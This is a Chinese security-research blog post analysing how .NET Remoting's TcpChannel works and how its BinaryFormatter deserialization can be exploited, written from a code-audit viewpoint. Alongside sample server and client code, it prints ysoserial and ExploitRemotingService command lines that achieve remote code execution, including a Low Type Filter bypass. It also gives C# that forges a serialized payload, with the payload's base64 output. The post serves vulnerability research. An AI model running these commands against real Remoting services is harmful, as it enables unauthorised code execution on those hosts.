.Net Remoting 系列一

前言:笔者在代码审计时碰到许多以.Net Remoting技术开发的应用如SolarWinds、VeeamBackup、Ivanti等产品,尽管随着 WCF 和 gRPC 等更现代化技术的兴起,.NET Remoting 已逐渐淡出主流,但是依然有其研究的价值,本次主要以TcpChannel为主分析其工作原理、应用场景,后续会通过两个漏洞介绍.Net Remoting在不同场景下的利用姿势和挖掘思路

文章首发于奇安信攻防社区https://forum.butian.net/share/3989

.NET Remoting 是通过通道(Channel)实现不同应用程序域(AppDomain)之间对象通信的技术核心,依赖程序集 System.Runtime.Remoting.dll 提供支持。通道负责在进程间或网络上传输序列化后的对象数据,是 Remoting 架构的关键组件。

在 .NET Remoting 中,主要支持以下几种通道类型:

  1. TcpChannel
    位于命名空间 System.Runtime.Remoting.Channels.Tcp,提供高效的二进制传输,适合局域网内低延迟、高吞吐的场景。

  2. HttpChannel
    位于命名空间 System.Runtime.Remoting.Channels.Http,基于 HTTP 协议传输数据,支持 SOAP 格式化,适合跨防火墙或需要更通用通信协议的应用。

  3. IpcChannel
    位于命名空间 System.Runtime.Remoting.Channels.Ipc,基于命名管道(Named Pipe),为同一台机器上的进程间通信提供高效、轻量级的解决方案。

  4. 自定义通道(Custom Channel)
    通过实现 IChannelReceiverIChannelISecurableChannel 接口,开发者可以设计满足特定需求的自定义通道,例如支持特殊传输协议或安全策略的通信。

通过上述通道类型,.NET Remoting 为分布式应用提供了灵活的通信方式,并允许根据场景需求选择合适的传输层。

以TcpChannel为例写一个服务端(TcpServerChannel)和客户端(TcpClientChannel)

csharp

using System;  
using System.Runtime.Serialization;  
  
namespace RemotableServer  
{  
    [Serializable]  
    public class RemoteObject1 : MarshalByRefObject  
    {  
        private int callCount = 0;  
        public Guid Id { get; private set; }  
        public string Tag { get; private set; }  
        public RemoteObject1(Guid id, string hint, string tag)  
        {  
            this.Id = id;  
            this.Tag = tag;  
        }  
        public RemoteObject1()  
        {  
        }  
        public int GetCount()  
        {  
            Console.WriteLine("GetCount was called.");  
            callCount++;  
            return callCount;  
        }  
  
        protected RemoteObject1(SerializationInfo info, StreamingContext context)  
        {  
            this.Id = (Guid)info.GetValue("Id", typeof(Guid));  
            this.Tag = "tag";  
  
        }  
  
        public void GetObjectData(SerializationInfo info, StreamingContext context)  
        {  
            info.AddValue("Id", this.Id);  
            info.AddValue("Tag", this.Tag);  
        }  
    }  
}
  1. Channel Sink Provider(实现IServerChannelSinkProvider)并指定TypeFilterLevel值
  2. ChannelServices.RegisterChannel()注册ServerChannel(实现IChannelReceiver, IChannel)可自定义。
  3. RemotingConfiguration.RegisterWellKnownServiceType注册ObjectUri以及绑定的对象

csharp

using System;  
using System.Collections;  
using System.IO;  
using System.Runtime.Remoting;  
using System.Runtime.Remoting.Channels;  
using System.Runtime.Remoting.Channels.Tcp;  
using System.Runtime.Serialization.Formatters;  
  
  
namespace RemotableServer  
{  
    class RemoteType : MarshalByRefObject  
    {  
    }  
    internal class Program  
    {  
        public static void Main(string[] args)  
        {  
            BinaryServerFormatterSinkProvider binary = new BinaryServerFormatterSinkProvider()  
            {  
                TypeFilterLevel = TypeFilterLevel.Low  
            };  
  
            IDictionary hashtables = new Hashtable();  
            hashtables["port"] = 9999;  
            String object_uri = "RemotableServer";  
            TcpServerChannel tcpServerChannel = new TcpServerChannel(hashtables, binary);  
            ChannelServices.RegisterChannel(tcpServerChannel, false);  
            // RemotingConfiguration.RegisterWellKnownServiceType(typeof(RemoteType), "RemotableServer", WellKnownObjectMode.Singleton);  
            RemotingConfiguration.RegisterWellKnownServiceType(typeof(RemoteObject1), object_uri, WellKnownObjectMode.Singleton);  
            Console.WriteLine("Server Activated at tcp://localhost:{0}/{1}",hashtables["port"], object_uri);  
            Console.ReadKey();  
              
        }  
    }  
}

客户端调用可通过TcpClientChannel、Activator、TcpChannel等方式调用远程对象

csharp

//Activator调用  
string serverAddress = "tcp://localhost:9999/RemotableServer";  
RemotableServer.RemoteObject1 obj1 = (RemotableServer.RemoteObject1)Activator.GetObject(typeof(RemotableServer.RemoteObject1), serverAddress);  
Console.WriteLine("get string:\t{0}", obj1.GetCount());  
Console.WriteLine("get string:\t{0}", obj1.GetCount());  
Console.WriteLine("get string:\t{0}", obj1.GetCount());

//TcpClientChannel  
TcpClientChannel clientChannel = new TcpClientChannel();  
ChannelServices.RegisterChannel(clientChannel);   
RemotingConfiguration.RegisterWellKnownClientType(  
    typeof(RemotableServer.RemoteObject1), "tcp://localhost:9999/RemotableServer"  
);  
RemotableServer.RemoteObject1 remoteObject1 = new RemotableServer.RemoteObject1();  
Console.WriteLine(remoteObject1.GetCount());

// TcpChannel
TcpChannel channel = new TcpChannel();  
ChannelServices.RegisterChannel(channel, false);  
RemotableServer.RemoteObject1 remoteObject = (RemotableServer.RemoteObject1)RemotingServices.Connect(typeof(RemotableServer.RemoteObject1), "tcp://localhost:9999/RemotableServer");  
Console.WriteLine(remoteObject.GetCount());

运行效果:

text

>RemotableObjects.exe
get string:     1
get string:     2
get string:     3

这里大致分析下其代码实现,如果碰上自定义的ServerChannel能够快速理清代码逻辑。 TcpServerChannel和TcpClientChannel分别实现了IChannelReceiver、IChannelSender,首先来看看TcpServerChannel,其构造函数调用SetupChannel方法开启Channel

csharp

	private void SetupChannel()
	{
	//是否需要认证
		if (this.authSet && !this._secure)
		{
			throw new RemotingException(CoreChannel.GetResourceString("Remoting_Tcp_AuthenticationConfigServer"));
		}
		//存储远程通道的通道数据。
		this._channelData = new ChannelDataStore(null);
		if (this._port > 0)
		{
			this._channelData.ChannelUris = new string[1];
			this._channelData.ChannelUris[0] = this.GetChannelUri();
		}
		//sinkprovider为空使用默认的sinkProviderChain
		if (this._sinkProvider == null)
		{
			this._sinkProvider = this.CreateDefaultServerProviderChain();
		}
		CoreChannel.CollectChannelDataFromServerSinkProviders(this._channelData, this._sinkProvider);
		//配置sinkProviderChain
		IServerChannelSink nextSink = ChannelServices.CreateServerChannelSinkChain(this._sinkProvider, this);
		this._transportSink = new TcpServerTransportSink(nextSink, this._impersonate);
		//监听
		this._acceptSocketCallback = new AsyncCallback(this.AcceptSocketCallbackHelper);
		if (this._port >= 0)
		{
			this._tcpListener = new ExclusiveTcpListener(this._bindToAddr, this._port);
			this.StartListening(null);
		}
	}

如上,主要关注Channel Sinks( transport sink->formatter sinks->dispatch sink ),这里引用一张图

TcpServerChannel的默认链 TcpServerTransportSink → BinaryServerFormatterSink → SoapServerFormatterSink → DispatchChannelSink

TcpClientChannel的默认链是BinaryClientFormatterSink → TcpClientTransportSink,代码如下

csharp

private IClientChannelSinkProvider CreateDefaultClientProviderChain()  
{  
  IClientChannelSinkProvider clientProviderChain = (IClientChannelSinkProvider) new BinaryClientFormatterSinkProvider();  
  clientProviderChain.Next = (IClientChannelSinkProvider) new TcpClientTransportSinkProvider(this._prop);  
  return clientProviderChain;  
}

利用ExploitRemotingService打一遍,调用堆栈如图

整个调用过程在经过Channel Sinks处理之后最终反序列化RCE,看下大致数据流

csharp

//TcpServerTransportSink
internal void ServiceRequest(object state)  
{  
  TcpServerSocketHandler state1 = (TcpServerSocketHandler) state;  
  ITransportHeaders requestHeaders = state1.ReadHeaders();  
  Stream requestStream = state1.GetRequestStream();
  ......
  serverProcessing = this._nextSink.ProcessMessage((IServerChannelSinkStack) sinkStack, (IMessage) null, requestHeaders, requestStream, out IMessage _, out responseHeaders, out responseStream);

// BinaryServerFormatterSink
public ServerProcessing ProcessMessage(  
  IServerChannelSinkStack sinkStack,  
  IMessage requestMsg,  
  ITransportHeaders requestHeaders,  
  Stream requestStream,  
  out IMessage responseMsg,  
  out ITransportHeaders responseHeaders,  
  out Stream responseStream)  
{
	.......
	requestMsg = CoreChannel.DeserializeBinaryRequestMessage(str, requestStream, this._strictBinding, this.TypeFilterLevel);

// CoreChannel
internal static IMessage DeserializeBinaryRequestMessage(  
  string objectUri,  
  Stream inputStream,  
  bool bStrictBinding,  
  TypeFilterLevel securityLevel)  
{  
  BinaryFormatter binaryFormatter = CoreChannel.CreateBinaryFormatter(false, bStrictBinding);  
  binaryFormatter.FilterLevel = securityLevel;  
  CoreChannel.UriHeaderHandler uriHeaderHandler = new CoreChannel.UriHeaderHandler(objectUri);  
  return (IMessage) binaryFormatter.UnsafeDeserialize(inputStream, new HeaderHandler(uriHeaderHandler.HeaderHandler));  
}

比较关键的点就是sinkProviderChains以及处理消息的逻辑(ProcessMessage)以及上面未提及到的认证的逻辑(IAuthorizeRemotingConnection后面会遇到,这里不展开说了)。

总结下从代码审计视角需要注意的问题

  1. 注册的Channel类型(搜ChannelServices#RegisterChannelInternal的调用)
  2. sinkProviderChains
  3. TypeFilterLevel
  4. 注册的objecturi(搜RemotingConfiguration#RegisterWellKnownServiceType或RemotingServices#Marshal)
  5. 处理消息逻辑(IServerChannelSink#ProcessMessage的实现)

最初是由James Forshaw发现的,当TypeFilterLevel的值为Full时,参考Full允许ISerializableMarshalByRefObject作为参数传递。在ExploitRemotingService中提供了两种利用方式,一种是直接发送原始数据

text

ysoserial.exe -g DataSet -f BinaryFormatter -c calc
ExploitRemotingService.exe tcp://localhost:9999/RemotableServer raw yso_base64

还有一种就是这儿提到的,但是会有文件落地。没有深入调试分析,大致原理见下图 这里不详细介绍了,可以详细读读该文章的前半部分。

启用Low Type Filter之后的绕过方式就是上面提到文章中的后半部分(绕过CAS和MBR类型检查),利用

text

ExploitRemotingService.exe -uselease -autodir tcp://127.0.0.1:12345/remoteserver exec calc

本地测试之后该工具并不适用于TcpServerChannel只适用于TcpChannel,当然发送raw数据还是可以的。后面翻到James Forshaw文章中提到过

text

This entire exploit is implemented behind the _uselease_ option. It works in the same way as _useser_ but should work even if the server is running _Low Type Filter_ mode. Of course there's caveats, this only works if the server sets up a bi-direction channel, if it registers a _TcpChannel_ or _IpcChannel_ then that should be fine, but if it just sets up a _TcpServerChannel_ it might not work. Also you still need to know the URI of the server and bypass any authentication requirements.

八月底偶然发现cbwang505师傅写了一个通用的EXP工具,和James Forshaw的绕过方式由很大不同。

前者利用FileInfo/DirectoryInfo写入程序集然后直接调用,后者通过SortedSet<Array>利用链加载程序集间接调用( XamlReader.Parse )实现RCE( 无文件落地 ),可参考 这篇文章

为了测试效果更加直观,原工具的基础上修改了部分代码(PS:默认开启secure),可以看到执行成功后当前AppDomain的程序集多了一个FakeAsm.dll,不足的一点是在调用时需要遍历所有程序集找到这个恶意程序集,应该还有优化的空间。效果:

现在的应用都会做一些防护措施,即使TypeFilterLevel的值为Full时也不一定能直接利用(比如配置了白名单),这时候就需要关注MBR对象的方法是否存在一些直接可调用的危险方法。

启用Low Type Filter之后呢?虽然会检查CAS和MBR,但是依然能够反序列化一些符合条件的对象,可以以序列化构造函数为跳板找到调用的危险方法。

将上面的RemoteObject1类改为实现ISerializable,RemoterServer开启Low Type Filter,构造序列化数据

csharp

public static void Main(string[] args)  
{  
     // low type serial test     
     string[] s = new[] { "aaa" };  
     RemoteObject1Wrapper payload = new RemoteObject1Wrapper(s);  
     String poc = Convert.ToBase64String((byte[])Serialize(payload));  
     Console.WriteLine(poc);
}

[Serializable]  
public class RemoteObject1Wrapper : ISerializable  
{  
    private string[] _fakeList;  
  
    public RemoteObject1Wrapper(string[] _fakeList)  
    {  
        this._fakeList = _fakeList;  
    }  
  
    public void GetObjectData(SerializationInfo info, StreamingContext context)  
    {  
        info.SetType(typeof(RemotableServer.RemoteObject1));  
        info.AddValue("Id", Guid.NewGuid());  
        info.AddValue("Tag", "aaaaa");  
        Console.WriteLine(_fakeList);  
    }  
}

//输出 AAEAAAD/////AQAAAAAAAAAMAgAAAEZSZW1vdGFibGVTZXJ2ZXIsIFZlcnNpb249MS4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsBQEAAAAdUmVtb3RhYmxlU2VydmVyLlJlbW90ZU9iamVjdDECAAAAAklkA1RhZwMBC1N5c3RlbS5HdWlkAgAAAAT9////C1N5c3RlbS5HdWlkCwAAAAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfawAAAAAAAAAAAAAACAcHAgICAgICAgLgVNlrimbzS73mwXYQSBjyBgQAAAAFYWFhYWEL

打断点,通过ExploitRemotingService发送序列化数据,效果如下 可以通过这种方式找找黑白名单中是否有可利用的类。

https://learn.microsoft.com/en-gb/previous-versions/dotnet/netframework-4.0/5dxse167(v=vs.100) https://www.tiraniddo.dev/2014/11/stupid-is-as-stupid-does-when-it-comes.html https://www.tiraniddo.dev/2019/10/bypassing-low-type-filter-in-net.html https://codewhitesec.blogspot.com/2022/01/dotnet-remoting-revisited.html https://bbs.kanxue.com/thread-282934.htm#msg_header_h2_5